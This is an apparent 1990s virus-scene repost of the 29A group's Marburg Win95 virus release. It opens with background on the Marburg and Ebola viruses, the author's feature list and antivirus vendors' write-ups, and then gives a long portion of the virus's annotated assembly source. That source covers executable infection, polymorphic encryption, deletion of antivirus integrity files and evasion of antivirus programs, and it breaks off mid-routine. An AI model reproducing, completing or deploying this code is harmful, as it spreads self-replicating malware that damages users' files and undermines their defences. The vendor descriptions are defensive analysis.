·¢ÐÅÈË: asmhome() 
ÕûÀíÈË: emil(1999-08-25 22:36:55), Õ¾ÄÚÐżþ
 | 
 
 
Ë®ÖÐÔÂ
 http://asmhome.yeah.net
 
 	Marburg virus - BioCoded by GriYo / 29A
 	---------------------------------------
 
 
 
 	
 	Index:
 	------
 
 	1 - About the biological version
 	2 - Author's description
 	3 - Description from Datafellows
 	4 - Description from AVP
 	5 - Description from DrSolomon
 	6 - Marburg source code
 
 
 
 
 	1 - About the biological version
 	--------------------------------
 
 	1967: Marburg/Frankfurt, Germany.
 
 	Laboratory  workers preparing  primary  cell cultures  from  African
  green monkeys resulted in  an outbreak of a previously unrecognised di sease.
 Highly  infectious: 31 cases, 7 deaths.
 
 	1976: 
 
 	Outbreak of  a previously unrecognised  haemorrhagic  fever in Zaire  
 and Sudan 'Ebola disease': 500 diagnosed cases,  460 deaths.
 
 	Ebola  virus, a member of the Filoviridae, burst from obscurity with
  spectacular   outbreaks  of  severe,  haemorrhagic  fever.  It   was    first
 associated  with an outbreak of  318 cases and a case-fatality  rate o f  90%
 in Zaire and caused  150 deaths among  250 cases in Sudan. Smaller out breaks
 continue to  appear periodically, particularly in East, Central and so uthern
 Africa. In 1989, a haemorrhagic  disease  was  recognized  among  cyno molgus 
 macaques  imported into the United States from  the  Philippines. Stra ins of
 Ebola virus  were isolated from  these  monkeys. Serologic  studies  i n  the
 Philippines and elsewhere in Southeast Asia indicated that  Ebola viru s is a 
 prevalent cause of infection among macaques.
 
 These  threadlike   polymorphic  viruses  are  highly   variable  in   length 
 apparently  owing  to  concatemerization. However,  the average length  of an 
 infectious  virion appears to be  920 nm.  The virions are 80 nm in di ameter 
 with  a  helical nucleocapsid,  a membrane made of  10 nm  projections ,  and 
 host cell membrane.  They  contain  a  unique  single-stranded  molecu le  of 
 noninfectious   (negative sense)   RNA.   The   virus   is   composed   of  7 
 polypeptides,  a   nucleoprotein,  a glycoprotein,  a polymerase and 4  other 
 undesignated  proteins.   Proteins   are   produced   from    polyaden ylated  
 monocistronic  mRNA  species transcribed from virus RNA.  The replicat ion in 
 and  destruction  of  the  host cell is rapid and produces a large num ber of 
 viruses  budding from the cell membrane.
 
 Epidemics  have resulted  from  person  to  person  transmission, noso comial 
 spread  or  laboratory  infections. The mode  of primary infection  an d  the
 natural  ecology  of these viruses are unknown.  Association  with bat s  has 
 been implicated  directly in at least 2 episodes  when  individuals  e ntered
 the  same  bat-filled  cave in  Eastern Kenya.  Ebola infections in Su dan in  
 1976 and 1979  occurred in workers  of a cotton factory containing tho usands
 of bats in the roof.  However, in all instances, study  of antibody in   bats
 failed to detect evidence  of infection,  and no virus was isolated fr om bat
 tissue.
 
 The  index  case  in  1976  was  never  identified, but  this large ou tbreak
 resulted in  280 deaths  of  318 infections.  The outbreak was primari ly the 
 result  of person to person spread and transmission by contaminated  n eedles 
 in  outpatient  and  inpatient  departments  of  a hospital  and  subs equent 
 person to person  spread in  surrounding villages. In  serosurveys in  Zaire,
 antibody prevalence to  Ebola virus has been 3 to 7%.  The incubation  period 
 for  needle-transmitted Ebola virus  is  5 to 7  days and that for per son to 
 person transmitted disease is 6 to 12 days.
 
 The  virus  spreads  through  the  blood and  is  replicated in many o rgans.
 The  histopathologic  change  is  focal necrosis  in these organs, inc luding 
 the liver,  lymphatic organs,  kidneys,  ovaries  and  testes.  The  c entral  
 lesions   appear  to   be   those   affecting the vascular   endotheli um and
 the   platelets. The   resulting manifestations  are bleeding, especia lly in
 the mucosa, abdomen, pericardium and vagina.  Capillary leakage  appea rs  to
 lead  to  loss  of  intravascular  volume,  bleeding,  shock  and  the  acute 
 respiratory disorder seen in fatal cases. Patients die of intractable  shock.
 Those  with  severe  illness  often  have  sustained  high  fevers  an d  are
 delirious, combative and difficult to control.
 
 The  serologic  method  used  in  the  discovery  of  Ebola  was  the  direct 
 immunofluorescent  assay. The test is  performed on a  monolayer of in fected
 and  uninfected  cells fixed on a microscopic slide.  IgG-  or  IgM-sp ecific 
 immunoglobulin assays are performed.  These tests   may  then  be  con firmed
 by using western blot or radioimmunoprecipitation.  Virus  isolation i s also 
 a highly useful diagnostic  method, and is performed  on suitably  pre served
 serum, blood or tissue specimens stored at -70oC or freshly collected. 
 
 No specific antiviral therapy presently exists against Ebola virus, no r does
 interferon  have  any  effect.  Past  recommendations  for  isolation  of the 
 patient  in  a  plastic  isolator  have  given  way  to  the  more  mo derate 
 recommendation  of  strict  barrier  isolation with body fluid  precau tions. 
 This  presents  no  excess  risk  to  the   hospital  personnel  and   allows 
 substantially better patient care, as shown in Table 2.  The major fac tor in 
 nosocomial  transmission  is  the  combination  of  the  unawareness   of the 
 possibility  of  the  disease  by  a  worker who is also  inattentive  to the 
 requirements  of  effective  barrier  nursing.  after diagnosis, the r isk of 
 nosocomial transmission is small.
 
 The basic method of prevention and control is the  interruption of per son to
 person spread of the virus. However,  in rural areas,  this may be dif ficult 
 because  families  are  often reluctant  to admit members  to  the  ho spital  
 because  of  limited  resources  and the  culturally unacceptable sepa ration 
 of  sick  or  dying  patients from the  care  of  their  family.  Expe rience  
 with human disease and primate infection suggests that  a vaccine indu cing a
 strong cell-mediated  response  will  be  necessary for  virus clearan ce and 
 adequate   protection.   Neutralizing   antibodies   are   not  observ ed  in 
 convalescent  patients  nor do they occur in primates inoculated with  killed 
 vaccine.   A  vaccine  expressing  the  glycoprotein  in  vaccinia  is  being 
 prepared for laboratory evaluation.
 
                                     Emerging & Re-emerging Viruses: An  Essay
                                                              Alison Ja cobson
                                                   Department of Microb iology
                                                      University of Cap e Town
 
 
 
 
 	2 - Author's description
 	------------------------
 
 	Marburg  is  a  direct action  Win32 executable files infector. Lets  
 look at its features in more detail...
 
 	2.1. Infection
 
 	When an infected file is run the virus will look for *.EXE and *.SCR
  files  in  current  directory,   as  well  as  WINDOWS  and  WINDOWS   system 
 directories.  Marburg use size padding to mark infected files.  Depend ing on 
 the  internal  format of each file the virus sometimes  infects them w ithout 
 modifying the entry-point  field in  the file header.  In some files M arburg 
 overwrites  the  code  at  its host entry-point with  a block or polym orphic 
 code.  This code is used to  hide the  branch to viral code. Marburg i nfects 
 files  by  mapping  them  in  memory.  This allows the virus to speed  up its 
 infection procedures. 
 
 	2.2. Polymorphism
 
 	The  virus  is   encrypted   under  a  polymorphic  decryptor.   The  
 polymorphic  engine  uses  slow mutation  technics  and can generate l ots of 
 different looking code.
 
 	2.3. Retro
 
 	Some intergrity checksum files deleted on infection.
 
 	2.4. Error-handling
 
 	The  virus startup and infection routines uses estructured exception
  handling to prevent  the virus from causing FAULTS  at any time.  This  makes 
 Marburg a very stable virus.
 
 	2.5. Payload
 
 	A nice graphic payload inside... I think this is a must for viruses
 that works under GUI.
 
 
 
 
 	3 - Description from Datafellows
 	--------------------------------
 
 	NAME: Marburg
 	TYPE: Non-resident EXE -files
 
 	The  Win95/Marburg  virus got widespread circulation in August 1998,  
 when it was included on the master CD of the popular  MGM/EA PC CD-ROM   game 
 "Wargames". The CD contains one file infected by the Marburg virus:
 
 	\EREG\EREG32.EXE
 
 	MGM -  the publisher of the game  - made  an announcment  on this on  
 12th of August, 1998:
 
 
 	--------
 	From: "K.Egan (MGM)" [email protected] 
 	Subject: MGM WarGames Statement 
 	Date: Wed, 12 Aug 1998 18:03:39 -0700 
 
 	MGM Interactive  recently learned that its  WarGames PC game shipped  
 	with  the   Win32/Marburg.a   virus  contained  in  the   electronic  
 	registration  program.  The company is working  as fast as it can to  
 	resolve the problem.
 	...
 	MGM Interactive  is committed  to delivering top quality products to  
 	consumers.  This is an  unfortunate  circumstance  and  we sincerely  
 	apologize for any convenience this has caused you.
 	...
 	If  you  have  any  questions  or  if  you  would  like to receive a  
 	replacement disc, please contact MGM Interactive.  
 	--------
 
 
 The same  virus also got widespread circulation in August 1998,  when  it was
 included on the cover CD of the Australian "PC Power Play" magazine. T his CD
 contains these files infected by the Marburg virus:
 
 	\GAMES\MAX2\MAX2BETA.EXE
 	\GAMES\STARTREK\FURYDEMO.EXE
 
 In July 1998,  the Win95/Marburg  virus got yet again widespread circu lation
 when it  was  included  by accident on the cover CD of the UK-based PC  Gamer
 Magazine's  July  1998 edition.  The  infected  files  are  on  "CD Ga mer 2"
 included with the magazine, and are called:
 
 	\UTILS\XEARTH\XEARTH.EXE
 	\UTILS\QPAINT\QPAINT.EXE
 	\VIDEO\SMACKPLW.EXE
 
 The  SMACKPLW  program  is  automatically  executed if  you watch any  of the
 preview  videos  from  the  CD. There are localized versions of the PC  Gamer
 magazine in circulation in addition to the UK edition.
 
 The  Swedish  edition  has  these  files infected instead of the ones  listed
 above:
 
 	\SHARE\3DJONG\M3DJONGG.EXE
 	\PATCHAR\QUAKE2\Q2-315~8.EXE
 	\SPEL\KKND2\DIRECTX\DDHELP.EXE
 
 The  Slovenian  edition has  the same infected files as the UK edition .  The
 Italian July/August edition is clean.
 
 Marburg is a polymorphic Windows 95/98 virus which contains this text: 
 
 	[ Marburg ViRuS BioCoded by GriYo/29A ]
 
 Marburg infects  Win32 EXE and SCR (screen saver) files,  encrypting i ts own
 code  with variable polymorphic encryption layer.  The polymorphic eng ine of
 the virus is advanced.  It encrypts the virus with 8, 16 and 32 bit ke y with
 several  different methods.  The virus uses slow polymorphisism, which  means
 that it changes the decryptor of itself very slowly.
 
 Marburg deletes integrity databases of several anti-virus products.  I t also
 avoids infecting many known  anti-virus  product executable files, inc luding
 any executable  which has the letter "V" in its name.  This is done to  avoid
 triggering the self-check of these programs.
 
 Marburg  activates  three months  after  initial  infection.  If an in fected
 application is executed exactly on  the same hour as the  inital  infe ction,
 the  virus displays  the standard  Windows  error  icon  (red cross in  white
 circle) in random positions all over the screen.
 
 
 
 
 	4 - Description from AVP
 	------------------------
 
 	This is a direct action  (nonmemory resident)  Windows95 polymorphic
  virus. It affects  PE EXE  (Portable Executable)  files which it searc hes in
 current, Windows and  System  directories.  Because of bugs the virus  is not
 able to replicate under Windows NT, so it is Windows95 specific virus. 
 
 When an infected file is executed, the virus searches for KERNEL32 rou tines:
 first for GetModuleHandleA and GetProcAddress,  then  for  22 more fun ctions
 (see the list below).  While  searching  the  virus  uses method  simi lar to
 "Win32.Cabanas" virus:  while  infecting  a  file  the  virus  scans   file's
 imported  table  for  GetModuleHandleA  and  GetProcAddress, and saves  these
 addresses in virus code.  If there are no  these entries in table, the  virus
 scans KERNEL32 code.
 
 If  the virus  is not  able to  locate  KERNEL32  functions,  it immed iately
 returns to the host file.  Otherwise it allocates a block of system  m emory,
 copies its code to there (that's necessary to run virus polymorphic en gine),
 then searches for files and infects them.
 
 While infecting a file the virus writes its code to the end of file in to the
 last section, increasing its length beforehand.  Before saving  its  c ode to
 the  file the virus  encrypts it  by  polymorphic  routine  (the polym orphic
 engine  is  very similar  with one that  was found  in  "Win95.HPS"  v irus).
 Depending  on  file structure the virus also does some tricks  to make  virus
 detection  and disinfection procedures  more complex:  either replaces  entry
 point  address in the PE header with its own one  (majority of Win32 v iruses
 infect files in this way), or saves  JMP_Virus instruction to the file  entry
 address  and  does  not modifies  it  in  the  PE  header  (in  same   way as
 "Win32.Cabanas"  virus does),  or  writes  to the entry point  a polym orphic
 junk routine that is followed by JMP_Virus instruction.
 
 Before infecting  the  virus  deletes  anti-virus  data files: ANTI-VI R.DAT,
 CHKLIST.MS, AVP.CRC, IVB.NTZ.  While infecting  the virus checks  file  names
 and  does  not  infect  files  that  have  'V'  letter  in  name  as w ell as
 anti-viruses PANDA, F-PROT, SCAN.
 
 Depending on the system date  (when infected file is executed in three  month
 during  the  same hour  as being infected)  the  virus  displays  at   random
 selected positions on the screen the standard Windows error icon - red  cross
 in white circle.
 
 The  virus contains  the text strings  (the first block contains the l ist of
 functions that virus is looking for):
 
 	GetModuleHandleA 
 	GetProcAddress 
 	CreateFileA 
 	CreateFileMappingA 
 	MapViewOfFile 
 	UnmapViewOfFile 
 	CloseHandle 
 	FindFirstFileA 
 	FindNextFileA 
 	FindClose 
 	VirtualAlloc 
 	GetWindowsDirectoryA 
 	GetSystemDirectoryA 
 	GetCurrentDirectoryA 
 	SetFileAttributesA 
 	SetFileTime 
 	DeleteFileA 
 	GetCurrentProcess 
 	WriteProcessMemory 
 	LoadLibraryA 
 	GetSystemTime 
 	GetDC 
 	LoadIconA 
 	DrawIcon
 
 	[ Marburg ViRuS BioCoded by GriYo/29A ]
 	KERNEL32.dll USER32.dll
 
 
 
 
 	5 - Description from DrSolomon
 	------------------------------
 
 	Win32/Marburg
 	Polymorphic virus
 	Infects: Windows-95 executable files 
 	         (PE files - "Portable Executable")
 
 	This  highly polymorphic virus infects  Windows-95  executable files
  (PE files - "Portable Executable").   When  the  infected  file  is  r un  it
 searches  for  executable  files  to infect  in the  current  director y, the
 Windows  directory  and   the  System directory.   The  virus  does  n ot  go
 memory-resident - instead it is a direct action virus.  The  infected   files
 always grow in size.
 
 The sizes of infected files are changed by the the virus  to be divisi ble by
 101 (decimal). It does this to avoid infecting the same file twice.
 
 If  the  virus  comes  across  integrity-checking  databases  (ANTI-VI R.DAT,
 CHKLIST.MS, AVP.CRC, IVB.NTZ)  in  the  above  mentioned  subdirectori es  it
 deletes them.  This is an attempt  to avoid  detection by certain anti -virus
 products.
 
 The  virus  does  not  infect  any  files  having  letter  "V"  in the  name,
 "PAND*.*" , "F-PR*.*" , "SCAN*.*"  (this  is  to  avoid  infecting   c ertain
 anti-virus programs).
 
 The  payload  of the virus  triggers at  a random date and displays an  error
 icon (a red cross on white circle) on the screen.
 
 Marburg has been seen in the wild, and was accidentally  distributed   on the
 cover CD ROM of UK magazine PC Gamer in July 1998.  The virus was writ ten by
 Griyo of the Spanish virus-writing gang 29A.
 
 
 
 
 
 	6 - Marburg source code
 	-----------------------
 
 	After some time lost into   Win32  internals  im happy to present my
  first attempt at this plattaform. This is a Win95 highly polymorphic d irect-
 action PE infector.
 
 Greetings to all the people at IRC-Hispano  #virus  and  #hack irc cha nnels.
 Special  greetings  goes  this  time to  Jacky Qwerty, this virus woul dnt be
 posible without his support.
 
 -------->8 cut here -------------------------------------------------- -------
 
 ;······································································ ······
 ;
 ;       Marburg ViRuS  - BioCoded by GriYo / 29A
 ;
 ;······································································ ······
 
                 .386P
                 locals
                 jumps
                 .model flat,STDCALL
 
                 ;Include the following files
 
                 include Win32api.inc
                 include Useful.inc
                 include Mz.inc
                 include Pe.inc
 
                 ;Some externals only used on 1st generation
 
                 extrn GetModuleHandleA:NEAR
                 extrn GetProcAddress:NEAR
                 extrn ExitProcess:NEAR
 
                 ;Some assumptions only valid for 1st generation
 
 mem_size        equ mem_end-Mem_Base            ;Size of virus in memo ry
 inf_size        equ inf_end-Mem_Base            ;Size of virus in file s
 init_size       equ init_end-Mem_Base           ;Size of init code
 base_default    equ 00400000h                   ;Default base address
  
                 ;Current in-build settings
 
 SIZE_PADDING    equ 00000065h
 DECRYPTOR_SIZE  equ 00000800h
 BUFFER_EP       equ 00000100h
 
 ;······································································ ······
 ;Fake host used for virus 1st generation
 ;······································································ ······
 
 _TEXT           segment dword use32 public 'CODE'
 
 host_entry:     ;This code will find the base address of KERNEL32.DLL  and
                 ;the entry point for GetProcAddress and GetModuleHandl e
                 ;functions
                 ;This part will not be included on future infections
                 ;coz its only needed for virus 1st generation
 
                 ;Get KERNEL32 module handle
 
                 push offset szKernel32
                 call GetModuleHandleA
                 or eax,eax
                 jz exit1st_gen
                 mov dword ptr [a_Kernel32],eax
 
                 ;Get address of GetModuleHandle function
 
                 push offset szGetModuleH
                 push eax
                 call GetProcAddress
                 or eax,eax
                 jz exit1st_gen
                 mov dword ptr [a_GetModuleH],eax
 
                 ;Get address of GetProcAddress function
 
                 push offset szGetProcAddr
                 push dword ptr [a_Kernel32]
                 call GetProcAddress
                 or eax,eax
                 jz exit1st_gen
                 mov dword ptr [a_GetProcAddr],eax
 
                 ;Execute virus
 
                 mov ebx,base_default
                 xor ebp,ebp
                 call entry1st_gen
 
 exit1st_gen:    ;Terminate virus launch process
 
                 xor eax,eax
                 push eax
                 call ExitProcess
 
 _TEXT           ends
 
 ;······································································ ······
 
 _DATA           segment dword use32 public 'DATA'
 _DATA           ends
 
 ;······································································ ······
 
 _BSS            segment dword use32 public 'BSS'
 _BSS            ends
 
 ;······································································ ······
 ;Virus main body
 ;······································································ ······
 
 virseg          segment dword use32 public 'Marburg'
 
 Mem_Base        equ this byte
 
 virus_entry:    ;Get delta offset and host base address
 
                 call get_delta
 
 init_end        equ this byte
 
 get_delta:      pop ebp
                 mov ebx,ebp
                 sub ebp,offset get_delta
 
                 ;Get host base address
                 ;Generate a SUB ebx,fix_baseaddr instruction
 
                 db 81h,0EBh
 fix_baseaddr    dd 00000000h
 
                 ;Prepare return address
 
                 mov eax,ebx
 
                 ;Generate ADD eax,rva_org_eip
 
                 db 05h
 rva_org_eip     dd 00000000h
 
                 ;Save host entry-point into stack, we will jump there
                  ;later using a RET
 
                 push eax
 
 entry1st_gen:   ;End of virus initialization, at this point:
                 ;
                 ; ss:[esp] - Host entry-point
                 ; ebx      - Base address
                 ; ebp      - Delta offset
                 ;
 
                 ;Check if we know the GetModuleHandle entry point
                 ;If we dont know it try to get KERNEL32 base
                 ;address using our own code
 
                 db 0B8h
 rva_GetModuleH  dd offset a_GetModuleH-base_default
                 or eax,eax
                 jz use_our_own_1
 
                 ;Yes, eax is the rva for the function address
 
                 push dword ptr [eax+ebx]
                 pop dword ptr [ebp+a_GetModuleH]
 
                 ;Now we know the address of GetModuleHandle,
                 ;so use it in order to get KERNEL32.dll
                 ;base address
                 ;If the function fails try to get KERNEL32 base
                 ;address using our own function
 
                 lea eax,dword ptr [ebp+szKernel32]
                 push eax
 
                 call dword ptr [ebp+a_GetModuleH]
                 or eax,eax
                 jnz got_kernel
 
 use_our_own_1:  ;No, grrr, try to get it by ourself
 
                 call my_getkernel
                 or eax,eax
                 jz err_virus_init
 
 got_kernel:     ;Save KERNEL32 base address for l8r use
 
                 mov dword ptr [ebp+a_Kernel32],eax
 
                 ;Now check if we know the GetProcAddress entry point
 
                 db 0B8h
 rva_GetProcAddr dd offset a_GetProcAddr-base_default
                 or eax,eax
                 jz use_our_own_2
 
                 ;Yes, eax is the rva for the function address
 
                 push dword ptr [eax+ebx]
                 pop eax
                 jmp short got_getprocaddr
 
 use_our_own_2:  ;Use our own routine to get GetProcAddress entry point 
 
                 call my_GetProcAddr
 
 got_getprocaddr:;Save GetProcAddress entry point for l8r use
 
                 mov dword ptr [ebp+a_GetProcAddr],eax
 
                 ;Use GetProcAddress to get the rest of function addres ses
 
                 call get_functions
                 jecxz err_virus_init
 
                 ;Allocate some memory for the virus
 
                 push PAGE_EXECUTE_READWRITE
                 push MEM_RESERVE or MEM_COMMIT
                 push mem_size+inf_size
                 push 00000000h
                 call dword ptr [ebp+a_VirtualAlloc]
 
                 ;Exit if cant find free memory... mmm...
 
                 or eax,eax
                 jz err_virus_init
 
                 ;Copy virus to allocated memory
 
                 lea esi,dword ptr [ebp+Mem_Base]
                 mov edi,eax
                 mov ecx,mem_size
                 cld
                 rep movsb
 
                 ;Jump to virus code into allocated memory
 
                 add eax,mem_entry-Mem_Base
                 jmp eax
 
 ;······································································ ······
 ;Entry point for resident code
 ;······································································ ······
 
 mem_entry:      ;From this point we no longer care about host
                 ;base address
 
                 call mem_delta
 mem_delta:      pop ebp
                 sub ebp,offset mem_delta
 
                 ;Get current system time
 
                 lea eax,dword ptr [ebp+my_system_time]
                 push eax
                 call dword ptr [ebp+a_GetSysTime]
 
                 ;It's time to call our payload routine????
 
                 mov ax,word ptr [ebp+inf_month]
                 add ax,0003h
                 mov dx,000Ch
                 cmp ax,dx
                 jbe check_month
                 sub ax,dx
 check_month:    cmp ax,word ptr [ebp+time_month]
                 jne viral_sleep
                 mov ax,word ptr [ebp+inf_day]
                 cmp ax,word ptr [ebp+time_day]
                 jne viral_sleep
                 call payload
 
 viral_sleep:    ;Do direct action stuff
                 ;The virus will infect files on \WINDOWS, \SYSTEM and
                  ;current directory
 
                 ;Try to infect files in current directory
 
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax
                 push MAX_PATH
                 call dword ptr [ebp+a_GetCurDir]
                 or eax,eax
                 jz try_windir
 
                 call do_in_dir
                 
 try_windir:     ;Get windows directory
 
                 push MAX_PATH
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax
                 call dword ptr [ebp+a_GetWindowsDir]
                 or eax,eax
                 jz try_sysdir
 
                 ;Try to infect files in \WINDOWS directory
 
                 call do_in_dir
 
 try_sysdir:     ;Get system directory
 
                 push MAX_PATH
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax
                 call dword ptr [ebp+a_GetSystemDir]
                 or eax,eax
                 jz err_virus_init
 
                 ;Try to infect files in \SYSTEM directory
 
                 call do_in_dir
 
 err_virus_init: ;We have to restore code at host entry-point?
 
                 xor eax,eax
                 cmp dword ptr [ebp+insert_size],eax
                 je back2host
 
                 ;Get current process
 
                 call dword ptr [ebp+a_GetCurProc]
 
                 ;Restore host entry-point code
                 ;Use WriteProcessMemory in order to prevent exceptions 
                 ;while writing to protected areas
 
                 pop edx
                 push edx
                 xor ecx,ecx
                 push ecx
                 push dword ptr [ebp+insert_size]
                 lea ecx,dword ptr [ebp+entry_code]
                 push ecx
                 push edx
                 push eax
                 call dword ptr [ebp+a_WriteProcMem]
 
 back2host:      ;Back to host
 
                 ret
 
 ;······································································ ······
 ;Infect *.EXE and *.SCR files in specified path
 ;······································································ ······
 
 do_in_dir:      ;The virus will not infect files in the root directory 
                 ;directory
                 ;
                 ;Entry:
                 ;
                 ;eax - path string size
                 ;
                 ;Exit:
                 ;
                 ;None
                 ;
 
                 ;Trying to infect files in root directory?
 
                 cmp eax,00000004h
                 jb file_not_found
 
                 ;Delete some AV checksum databases
 
                 mov edx,eax
                 mov ecx,(end_AV_files-tbl_AV_files)/04h
                 lea esi,dword ptr [ebp+tbl_AV_files]
 loop_del_AV:    lodsd
                 push esi                
                 add eax,ebp
                 mov esi,eax
                 call delete_file
                 pop esi
                 loop loop_del_AV
 
                 ;Insert *.* into path
 
                 lea esi,dword ptr [ebp+szSearch]
                 call copy_szMask
 
                 ;FindFirstFile
 
                 lea eax,dword ptr [ebp+my_FindData]
                 push eax
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax                
                 call dword ptr [ebp+a_FindFirst]
                 cmp eax,INVALID_HANDLE_VALUE
                 je file_not_found
 
                 ;Save the search handle
 
                 mov dword ptr [ebp+Search_h],eax
                 
 try_this_file:  ;Check file size
 
                 xor eax,eax
                 cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax
                  jne cant_open
                 mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
                 cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING)
                 jae cant_open
 
                 ;Check if file is already infected
 
                 mov ecx,SIZE_PADDING
                 xor edx,edx
                 div ecx
                 or edx,edx
                 jz cant_open
 
                 ;Add filename to path                
 
                 cld
                 lea esi,dword ptr [ebp+szWorkDir]
                 mov edx,esi
 do_path_1:      lodsb
                 cmp al,"\"
                 jne avoid_path
                 mov edx,esi
 avoid_path:     or al,al
                 jne do_path_1
                 lea esi,dword ptr [ebp+my_FindData.WFD_szFileName]
                 mov edi,edx
 do_path_2:      lodsb
                 cmp al,"a"
                 jb char_is_ok
                 sub al,("a"-"A")
 char_is_ok:     cmp al,"V"
                 je cant_open
                 stosb
                 or al,al
                 jnz do_path_2
 
                 ;The virus does not infect files with V character in t heir
                 ;names as well as the following programs:
 
                 mov eax,dword ptr [edx]
 
                 ;Panda antivirus
 
                 cmp eax,"DNAP"
                 je cant_open
 
                 ;Datafellows F-Prot
 
                 cmp eax,"RP-F"
                 je cant_open
 
                 ;McAfee Scan
 
                 cmp eax,"NACS"
                 je cant_open
 
                 ;Check file extension, allow *.EXE and *.SRC files
 
                 mov eax,dword ptr [edi-00000005h]
                 cmp eax,"EXE."
                 je target_file
                 cmp eax,"RCS."
                 jne cant_open
 
 target_file:    ;Open and map file
 
                 call open_map_file
                 or eax,eax
                 jz cant_open
 
                 ;Check if we can infect this file
 
                 call check_victim
                 jecxz bad_host
 
 atach_2host:    ;Infect file
 
                 call infect_file
                 jnc search_end
                 jmp short cant_open
 
 bad_host:       ;File cant be infected, skip it
 
                 call unmap_close
 
 cant_open:      ;Find next file
 
                 lea eax,dword ptr [ebp+my_FindData]
                 push eax
                 push dword ptr [ebp+Search_h]
                 call dword ptr [ebp+a_FindNext]
                 cmp eax,FALSE
                 jne try_this_file
 
 search_end:     ;Close Win32 find handle
 
                 push dword ptr [ebp+Search_h]
                 call dword ptr [ebp+a_FindClose]
 
 file_not_found: ret
 
 ;······································································ ······
 ;Copy search mask into work path
 ;······································································ ······
 
 copy_szMask:    ;Entry:
                 ;
                 ;edx - Filename offset in path string
                 ;esi - Search mask
                 ;
                 ;Exit:
                 ;
                 ;None
                 ;
 
                 cld
                 lea edi,dword ptr [ebp+edx+szWorkDir]
                 mov al,"\"
                 stosb
 loop_copy_name: lodsb
                 stosb
                 or al,al
                 jnz loop_copy_name
                 ret
 
 ;······································································ ······
 ;Delete file in work path
 ;······································································ ······
 
 delete_file:    ;Entry:
                 ;
                 ;edx - Filename offset in path string
                 ;esi - File to delete
                 ;
                 ;Exit:
                 ;
                 ;None
                 ;
 
                 ;Add filename to path
 
                 push ecx
                 push edx
                 call copy_szMask
 
                 ;Reset attributes so we can delete write protected fil es
 
                 push FILE_ATTRIBUTE_NORMAL
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax
                 call dword ptr [ebp+a_SetFileAttr]
 
                 ;Delete file
 
                 lea eax,dword ptr [ebp+szWorkDir]
                 push eax
                 call dword ptr [ebp+a_DeleteFile]
 
                 pop edx
                 pop ecx
                 ret
 
 ;······································································ ······
 ;Check if a given file can be infected
 ;······································································ ······
 
 check_victim:   ;The host must be PE, fit allowed size and import at l east
                 ;one function from Kernel32
                 ;
                 ;Entry:
                 ;
                 ;a_Kernel32 - Base address for kernel32
                 ;eax        - Base address for memory mapped file
                 ;
                 ;Exit:
                 ;
                 ;ecx - Null if error
                 ;eax - Preserved
                 ;
 
                 ;Save host base address
 
                 push ebp
                 push eax
 
                 ;Set structured exception handler
 
                 call SEH_SetFrame01
                 mov esp,dword ptr [esp+00000008h]
 err_checkfile:  xor ecx,ecx
                 jmp SEH_error01
 SEH_SetFrame01: xor edx,edx
                 push dword ptr fs:[edx]
                 mov dword ptr fs:[edx],esp
 
                 ;Search for Kernel32 Import Module Descriptor, abort
                 ;infection if not found
 
                 mov ebx,eax
 
                 ;ebx - Base address of host in memory
 
                 ;Check for MZ signature at base address
 
                 cld
                 cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
                 jne err_checkfile
 
                 ;Check file address of relocation table
 
                 cmp word ptr [ebx+DH_lfarlc],0040h
                 jb err_checkfile
 
                 ;Now go to the pe header and check for the PE signatur e
 
                 mov esi,dword ptr [ebx+DH_lfanew]
                 add esi,ebx
                 lodsd
                 cmp eax,IMAGE_NT_SIGNATURE
                 jne err_checkfile
 
                 ;Check machine field in IMAGE_FILE_HEADER
                 ;just allow i386 PE files
 
                 cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
                  jne err_checkfile
 
                 ;Now check the characteristics, look if file
                 ;is an executable
 
                 mov ax,word ptr [esi+FH_Characteristics]
                 test ax,IMAGE_FILE_EXECUTABLE_IMAGE
                 jz err_checkfile
 
                 ;Avoid DLL's
 
                 test ax,IMAGE_FILE_DLL
                 jnz err_checkfile
                         
                 ;Get pointer to imports raw data
 
                 mov edx,dword ptr [esi+OH_DataDirectory.        \
                                        DE_Import.               \
                                        DD_VirtualAddress+       \
                                        IMAGE_SIZEOF_FILE_HEADER]
 
                 call RVA2RAW
                 jecxz err_checkfile
                 mov eax,ecx
 
 next_imd_img:   ;Search for kernel32 through the array of imported
                 ;module descriptors
 
                 lea edi,dword ptr [ebp+offset szKernel32]
                 mov esi,dword ptr [eax+ID_Name]
 
                 ;Exit if the RVA to dll name doesnt exist
                 or esi,esi
                 jz err_checkfile
 
                 ;Sub the delta offset
 
                 sub esi,edx
 
                 ;Get absolute address of dll name
 
                 add esi,ebx
 
                 ;Compare names
 
                 mov ecx,00000008h
                 push eax
 
 dll_loop:       ;Get character from name into imports
 
                 lodsb
 
                 ;Check if character is in lowercase
 
                 cmp al,"a"
                 jb check_char
 
                 ;Convert character to uppercase
 
                 sub al,("a"-"A")
 
 check_char:     ;Compare characters with our KERNEL32 string
 
                 scasb
                 jne bad_dll
 
                 loop dll_loop
 
 verify_ok:      ;Name matched, get import module descriptor
 
                 pop edi
 
                 ;Mutate RVAs
 
                 call mutate_rvas
 
                 ;Avoid files with IMAGE_SCN_MEM_SHARED in its
                 ;last section attributes
 
                 call get_last_sh
                 test dword ptr [edi+SH_Characteristics],IMAGE_SCN_MEM_ SHARED
                 jnz err_checkfile
 
                 ;Set ecx != NULL (success flag)
 
                 xor ecx,ecx
                 not ecx
 
 SEH_error01:    ;Remove structured exception handler
 
                 xor edx,edx
                 pop dword ptr fs:[edx]
                 pop edx
 
                 ;Error, restore base address
 
                 pop eax
                 pop ebp
                 ret
 
 bad_dll:        ;Go to next imported module descriptor
 
                 pop eax
                 add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
                 jmp short next_imd_img
 
 
 ;······································································ ······
 ;Find the place where PE saves some useful information
 ;······································································ ······
 
 mutate_rvas:    ;Generate a copy of the virus into a buffer
                 ;This copy will contain some RVAs already
                 ;loaded (GetModuleHandle, GetProcAddress or Kernel32
                 ;ID_ForwarderChain field)
                 ;
                 ;Entry:
                 ;
                 ;ebx - Base address for file
                 ;edx - Section delta offset
